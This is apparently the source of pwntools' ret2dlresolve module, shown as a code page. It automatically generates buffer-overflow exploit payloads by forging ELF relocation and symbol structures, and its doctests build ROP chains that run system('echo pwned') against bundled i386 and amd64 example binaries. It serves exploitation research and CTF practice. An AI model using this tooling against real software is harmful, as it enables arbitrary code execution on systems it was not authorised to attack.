/
ret2dlresolve.py
373 lines (313 loc) · 12.4 KB
/
ret2dlresolve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
r"""
Provides automatic payload generation for exploiting buffer overflows
using ret2dlresolve.
We use the following example program:
::
#include <unistd.h>
void vuln(void){
char buf[64];
read(STDIN_FILENO, buf, 200);
}
int main(int argc, char** argv){
vuln();
}
We can automate the process of exploitation with these some example binaries.
>>> context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('i386'))
>>> rop = ROP(context.binary)
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
>>> rop.ret2dlresolve(dlresolve)
>>> raw_rop = rop.chain()
>>> print(rop.dump())
0x0000: 0x80482e0 read(0, 0x804ae00)
0x0004: 0x80484ea <adjust @0x10> pop edi; pop ebp; ret
0x0008: 0x0 arg0
0x000c: 0x804ae00 arg1
0x0010: 0x80482d0 [plt_init] system(0x804ae24)
0x0014: 0x2b84 [dlresolve index]
0x0018: b'gaaa' <return address>
0x001c: 0x804ae24 arg0
>>> p = elf.process()
>>> p.sendline(fit({64+context.bytes*3: raw_rop, 200: dlresolve.payload}))
>>> p.recvline()
b'pwned\n'
You can also use ``Ret2dlresolve`` on AMD64:
>>> context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
>>> rop.ret2dlresolve(dlresolve)
>>> raw_rop = rop.chain()
>>> print(rop.dump())
0x0000: 0x400593 pop rdi; ret
0x0008: 0x0 [arg0] rdi = 0
0x0010: 0x400591 pop rsi; pop r15; ret
0x0018: 0x601e00 [arg1] rsi = 6299136
0x0020: b'iaaajaaa' <pad r15>
0x0028: 0x4003f0 read
0x0030: 0x400593 pop rdi; ret
0x0038: 0x601e48 [arg0] rdi = 6299208
0x0040: 0x4003e0 [plt_init] system
0x0048: 0x15670 [dlresolve index]
>>> p = elf.process()
>>> p.sendline(fit({64+context.bytes: raw_rop, 200: dlresolve.payload}))
>>> if dlresolve.unreliable:
... p.poll(True) == -signal.SIGSEGV
... else:
... p.recvline() == b'pwned\n'
True
"""
import six
from copy import deepcopy
from pwnlib.context import context
from pwnlib.log import getLogger
from pwnlib.util.packing import *
from pwnlib.util.packing import _need_bytes
from pwnlib.util.misc import align
log = getLogger(__name__)
ELF32_R_SYM_SHIFT = 8
ELF64_R_SYM_SHIFT = 32
class Elf32_Rel(object):
''
"""
.. code-block:: c
typedef struct elf32_rel {
Elf32_Addr r_offset;
Elf32_Word r_info;
} Elf32_Rel;
"""
size=1 # see _build_structures method for explanation
def __init__(self, r_offset=0, r_info=0):
self.r_offset = r_offset
self.r_info = r_info
def __flat__(self):
return p32(self.r_offset) + p32(self.r_info)
def __bytes__(self):
return self.__flat__()
class Elf64_Rel(object):
''
"""
.. code-block:: c
typedef struct elf64_rel {
Elf64_Addr r_offset;
Elf64_Xword r_info;
} Elf64_Rel;
"""
size=24
def __init__(self, r_offset=0, r_info=0):
self.r_offset = r_offset
self.r_info = r_info
def __flat__(self):
return p64(self.r_offset) + p64(self.r_info) + p64(0)
def __bytes__(self):
return self.__flat__()
class Elf32_Sym(object):
''
"""
.. code-block:: c
typedef struct elf32_sym{
Elf32_Word st_name;
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info;
unsigned char st_other;
Elf32_Half st_shndx;
} Elf32_Sym;
"""
size = 16
def __init__(self, st_name=0, st_value=0, st_size=0, st_info=0, st_other=0, st_shndx=0):
self.st_name = st_name
self.st_value = st_value
self.st_size = st_size
self.st_info = st_info
self.st_other = st_other
self.st_shndx = st_shndx
def __flat__(self):
return p32(self.st_name) + \
p32(self.st_value) + \
p32(self.st_size) + \
p8(self.st_info) + \
p8(self.st_other) + \
p16(self.st_shndx)
def __bytes__(self):
return self.__flat__()
class Elf64_Sym(object):
''
"""
.. code-block:: c
typedef struct elf64_sym {
Elf64_Word st_name;
unsigned char st_info;
unsigned char st_other;
Elf64_Half st_shndx;
Elf64_Addr st_value;
Elf64_Xword st_size;
} Elf64_Sym;
"""
size=24
def __init__(self, st_name=0, st_value=0, st_size=0, st_info=0, st_other=0, st_shndx=0):
self.st_name = st_name
self.st_value = st_value
self.st_size = st_size
self.st_info = st_info
self.st_other = st_other
self.st_shndx = st_shndx
def __flat__(self):
return p32(self.st_name) + \
p8(self.st_info) + \
p8(self.st_other) + \
p16(self.st_shndx) + \
p64(self.st_value) + \
p64(self.st_size)
def __bytes__(self):
return self.__flat__()
class Queue(list):
''
def size(self):
size = 0
for v in self:
# Lists, strings and ints all have size context.size
# Assuming int size equals address size
if isinstance(v, MarkedBytes):
size += len(v)
else:
size += context.bytes
return size
class MarkedBytes(bytes):
''
pass
class Ret2dlresolvePayload(object):
"""Create a ret2dlresolve payload
Arguments:
elf (ELF): Binary to search
symbol (str): Function to search for
args (list): List of arguments to pass to the function
Returns:
A ``Ret2dlresolvePayload`` object which can be passed to ``rop.ret2dlresolve``
"""
def __init__(self, elf, symbol, args, data_addr=None):
self.elf = elf
self.elf_load_address_fixup = self.elf.address - self.elf.load_addr
self.strtab = elf.dynamic_value_by_tag("DT_STRTAB") + self.elf_load_address_fixup
self.symtab = elf.dynamic_value_by_tag("DT_SYMTAB") + self.elf_load_address_fixup
self.jmprel = elf.dynamic_value_by_tag("DT_JMPREL") + self.elf_load_address_fixup
self.versym = elf.dynamic_value_by_tag("DT_VERSYM") + self.elf_load_address_fixup
self.symbol = _need_bytes(symbol, min_wrong=0x80)
self.args = args
self.real_args = self._format_args()
self.unreliable = False
self.data_addr = data_addr if data_addr is not None else self._get_recommended_address()
# Will be set when built
self.reloc_index = -1
self.payload = b""
# PIE is untested, gcc forces FULL-RELRO when PIE is set
if self.elf.pie and self.elf_load_address_fixup == 0:
log.warning("WARNING: ELF is PIE but has no base address set")
self._build()
def _format_args(self):
# Encode every string in args
def aux(args):
for i, arg in enumerate(args):
if isinstance(arg, (str,bytes)):
args[i] = _need_bytes(args[i], min_wrong=0x80) + b"\x00"
elif isinstance(arg, (list, tuple)):
aux(arg)
args = deepcopy(self.args)
aux(args)
return args
def _get_recommended_address(self):
bss = self.elf.get_section_by_name(".bss").header.sh_addr + self.elf_load_address_fixup
bss_size = self.elf.get_section_by_name(".bss").header.sh_size
addr = bss + bss_size
addr = addr + (-addr & 0xfff) - 0x200 #next page in memory - 0x200
return addr
def _build_structures(self):
# The first part of the payload is the usual of ret2dlresolve.
if context.bits == 32:
ElfSym = Elf32_Sym
ElfRel = Elf32_Rel
ELF_R_SYM_SHIFT = ELF32_R_SYM_SHIFT
elif context.bits == 64:
ElfSym = Elf64_Sym
ElfRel = Elf64_Rel
ELF_R_SYM_SHIFT = ELF64_R_SYM_SHIFT
else:
log.error("Unsupported bits")
# where the address of the symbol will be saved
# (ElfRel.r_offset points here)
symbol_space = b"A"*context.bytes
# Symbol name. Ej: system
symbol_name_addr = self.data_addr + len(self.payload)
symbol_name = self.symbol + b"\x00"
symbol_end_addr = symbol_name_addr + len(symbol_name)
# ElfSym
index = align(ElfSym.size, symbol_end_addr - self.symtab) // ElfSym.size # index for both symtab and versym
sym_addr = self.symtab + ElfSym.size * index
sym = ElfSym(st_name=symbol_name_addr - self.strtab)
sym_end_addr = sym_addr + sym.size
# It seems to be treated as an index in 64b and
# as an offset in 32b. That's why Elf32_Rel.size = 1
self.reloc_index = align(ElfRel.size, sym_end_addr - self.jmprel) // ElfRel.size
# ElfRel
rel_addr = self.jmprel + self.reloc_index * ElfRel.size
rel_type = 7
rel = ElfRel(r_offset=self.data_addr, r_info=(index<<ELF_R_SYM_SHIFT)+rel_type)
# When a program's PIE is enabled, r_offset should be the relative address, not the absolute address
if self.elf.pie:
rel = ElfRel(r_offset=self.data_addr - (self.elf.load_addr + self.elf_load_address_fixup), r_info=(index<<ELF_R_SYM_SHIFT)+rel_type)
self.payload = fit({
symbol_name_addr - self.data_addr: symbol_name,
sym_addr - self.data_addr: sym,
rel_addr - self.data_addr: rel
})
ver_addr = self.versym + 2 * index # Elf_HalfWord
log.debug("Symtab: %s", hex(self.symtab))
log.debug("Strtab: %s", hex(self.strtab))
log.debug("Versym: %s", hex(self.versym))
log.debug("Jmprel: %s", hex(self.jmprel))
log.debug("ElfSym addr: %s", hex(sym_addr))
log.debug("ElfRel addr: %s", hex(rel_addr))
log.debug("Symbol name addr: %s", hex(symbol_name_addr))
log.debug("Version index addr: %s", hex(ver_addr))
log.debug("Data addr: %s", hex(self.data_addr))
if not self.elf.memory[ver_addr]:
log.warn("Ret2dlresolve is likely impossible in this ELF "
"(too big gap between text and writable sections).\n"
"If you get a segmentation fault with fault_addr = %#x, "
"try a different technique.", ver_addr)
self.unreliable = True
def _build_args(self):
# The second part of the payload will include strings and pointers needed for ROP.
queue = Queue()
# We first have to process the arguments: replace lists and strings with
# pointers to the payload. Add lists contents and marked strings to the queue
# to be processed later.
for i, arg in enumerate(self.real_args):
if isinstance(arg, (list, tuple)):
self.real_args[i] = self.data_addr + len(self.payload) + queue.size()
queue.extend(arg)
elif isinstance(arg, bytes):
self.real_args[i] = self.data_addr + len(self.payload) + queue.size()
queue.append(MarkedBytes(arg))
# Now we process the generated queue, which contains elements that will be in
# the payload. We replace lists and strings with pointers, add lists elements
# to the queue, and mark strings so next time they are processed they are
# added and not replaced again.
while len(queue) > 0:
top = queue[0]
if isinstance(top, (list, tuple)):
top = pack(self.data_addr + len(self.payload) + queue.size())
queue.extend(queue[0])
elif isinstance(top, MarkedBytes):
# Just add them
pass
elif isinstance(top, bytes):
top = pack(self.data_addr + len(self.payload) + queue.size())
queue.append(MarkedBytes(queue[0]))
elif isinstance(top, six.integer_types):
top = pack(top)
self.payload += top
queue.pop(0)
def _build(self):
self._build_structures()
self._build_args()